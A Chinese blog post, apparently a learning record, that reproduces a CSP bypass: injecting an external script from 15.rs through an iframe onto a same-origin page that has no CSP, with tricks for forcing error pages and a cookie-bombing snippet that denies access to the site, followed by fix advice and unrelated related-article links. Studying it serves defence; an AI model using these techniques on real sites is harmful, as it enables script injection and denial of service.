学习 bypass csp记录
最近看到一篇bypas csp的记录复现学习下
配置csp
这里直接设置html头达到配置csp的效果。
Content-Security-Policy: script-src 'self' 'unsafe-inline'
创建html,加载js,代码如下,
<meta charset="utf-8" http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-inline'" ><!-- script-src 'self' 同源策略,即允许同域名同端口下,同协议下的请求 'unsafe-inline' 允许行内代码执行-->
<script src="1.js"></script><!-- 引入内部js -->
可以正常执行

将js换成外部js看下
<meta charset="utf-8" http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-inline'" ><!-- script-src 'self' 同源策略,即允许同域名同端口下,同协议下的请求 'unsafe-inline' 允许行内代码执行-->
<script src="//15.rs"></script><!-- 引入外部js -->

可以看到被csp拦截了。
bypass csp
由于我本机404没有csp直接iframe任意文件即可
<meta charset="utf-8" http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-inline'" ><!-- script-src 'self' 同源策略,即允许同域名同端口下,同协议下的请求 'unsafe-inline' 允许行内代码执行-->
<body>
<script>
fm = document.createElement('iframe');
fm.src="/css/bootstrap.min.css";
fm.onload=()=>{
sc = document.createElement('script');sc.src='//15.rs/';
window.frames[0].document.head.appendChild(sc);//然后在iframe中嵌入script,加载js
};
document.body.appendChild(fm);//首先创建iframe载入
</script>
</body>
成功执行加载15.rs的js。

其他情况
若没有找到未配置csp的页面可以尝试让服务器强制返回错误页面
1、url解码失败 400
fm = document.createElement('iframe');
fm.src="/%sf%EF%BB%BF";
document.body.appendChild(fm);

2、url长度太长
fm = document.createElement('iframe');
fm.src="/"+"a".repeat(20000);
document.body.appendChild(fm);

3、超大cookie拒绝服务
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(3000)};

这样这个站点就不能访问了 ,有点尴尬。
修复建议
- 所有页面配置csp
- 配置中只指定即可default-src 15.rs
学习 bypass csp记录的更多相关文章
- Java学习-007-Log4J 日志记录配置文件详解及实例源代码
此文主要讲述在初学 Java 时,常用的 Log4J 日志记录配置文件详解及实例源代码整理.希望能对初学 Java 编程的亲们有所帮助.若有不足之处,敬请大神指正,不胜感激!源代码测试通过日期为:20 ...
- UWP学习开发笔记记录(开篇)
零零散散开发微软移动2年多了,基本上从未记录或写过任何笔记.所以打算写一些自己的心得和技术的分享,大家一起来共同探讨.虽然现在UWP的工作几乎没有了,但是我感觉大家都是在观望,再看接下来微软的动作,所 ...
- Python模块学习 ---- logging 日志记录
许多应用程序中都会有日志模块,用于记录系统在运行过程中的一些关键信息,以便于对系统的运行状况进行跟踪.在.NET平台中,有非常著名的第三方开源日志组件log4net,c++中,有人们熟悉的log4cp ...
- Opengl_入门学习分享和记录_00
2019.7.4 本着对游戏创作的热情,本人初步了解了一部分的unity引擎的使用,也学习了一点C#可是越学习unity我就反而对引擎内部感兴趣(不知道有没有一样的朋友=,=). 接着了解到了open ...
- 当时学习《鸟哥的Linux私房菜-基础学习篇》记录的点
1.当执行一个指令的时候,举例来说[ls],系统会依照PATH的设定去每个PATH定义的目录下搜寻文件名为ls的可执行文件,如果在PATH定义的目录中含有多个文件名为ls的可执行文件,那么先搜寻到的同 ...
- 优秀编程学习网站&博文记录
记录优秀讲解知识点博客内容,侵删! 编程者学习网站 LearnKu终身编程者的知识社区 自动化测试内容 Python 接口自动化测试 应用开源接口网站:https://httpbin.org/#/St ...
- mybatis 学习视频总结记录
学习mybaits简单增删改查例子记录 此整理是学习视频后的视频内容整理,后半段还没有整理 网易云课堂 SSM高级整合视频 地址 : http://study.163.com/course/cours ...
- SpringBoot学习(学习过程记录)
关于微服务和SOA 这,仅是我学习过程中记录的笔记.确定了一个待研究的主题,对这个主题进行全方面的剖析.笔记是用来方便我回顾与学习的,欢迎大家与我进行交流沟通,共同成长.不止是技术. 官网教程学习ht ...
- Kafka学习(学习过程记录)
Apache kafka 这,仅是我学习过程中记录的笔记.确定了一个待研究的主题,对这个主题进行全方面的剖析.笔记是用来方便我回顾与学习的,欢迎大家与我进行交流沟通,共同成长.不止是技术. Kafka ...
随机推荐
- 如何判断一个String字符串不为空或这不为空字符串
如何判断一个String字符串不为空或这不为空字符串 转载兵哥LOVE坤 最后发布于2018-07-27 00:00:05 阅读数 5144 收藏 展开 1.校验不为空: String str ...
- 四. sql上线平台
一.inception安装使用 inception是一个集审核.执行.备份及生成回滚语句于一身的MySQL自动化运维工具 [root@CentOS ~]# [root@CentOS ~]# wget ...
- (私人收藏)2019WER积木教育机器人赛(普及赛)基础解决方案
2019WER积木教育机器人赛(普及赛)基础解决方案 含地图.基础解决方案.全部路线的往返.详细规则.视频.搭建方案 EV3;乐高;机器人比赛;能力风暴;WER https://pan.baidu.c ...
- java语言进阶(四)_Map_斗地主案例
第一章 Map集合 1.1 概述 现实生活中常会看到这样的一种集合:IP地址与主机名,身份证号与个人,系统用户名与系统用户对象等,这种一一对应的关系,就叫做映射.Java提供了专门的集合类用来存放这种 ...
- node解压压缩包以及压缩图片
node解压压缩包以及压缩图片 首先保证电脑安装node环境,下载地址:http://nodejs.cn //可以打开一个dos窗口输入node -v进行确认是否安装成功 C:\ > node ...
- Spring Boot -- 启动流程分析之ApplicationContext 中
上一节我们已经分析到AbsractApplicationContext类refresh方法中的postProcessBeanFactory方法,在分析registerBeanPostProcessor ...
- Cypress与TestCafe WebUI端到端测试框架简介
近期接触了Cypress和TestCafe,两个测试框架都基于Node.js,都不再使用Selenium+WebDriver,而且开箱即用,非常轻量级,就冲着不再使用WebDriver这一点,极大地勾 ...
- List集合-01.ArrayList
1.ArrayList 1.1 实现了Access接口 实现标记接口Access有以下特点: 目的是允许通用算法提供良好的性能 当遍历方式不同,速度不同时,通常需要继承这个接口 1.2 ArrayLi ...
- call,apply,bind的内部原理实现
call call 方法使用一个函数执行的时候更改本身 this 指向,并传入一个或者多个参数. var obj = { name: '$call' } function _fun() { conso ...
- java 中Object类中toString()的使用
1. 当我们输出一个对象的引用时,实际上就是调用当前对象的toString() 2. Object类中toString()的定义: public String toString() { return ...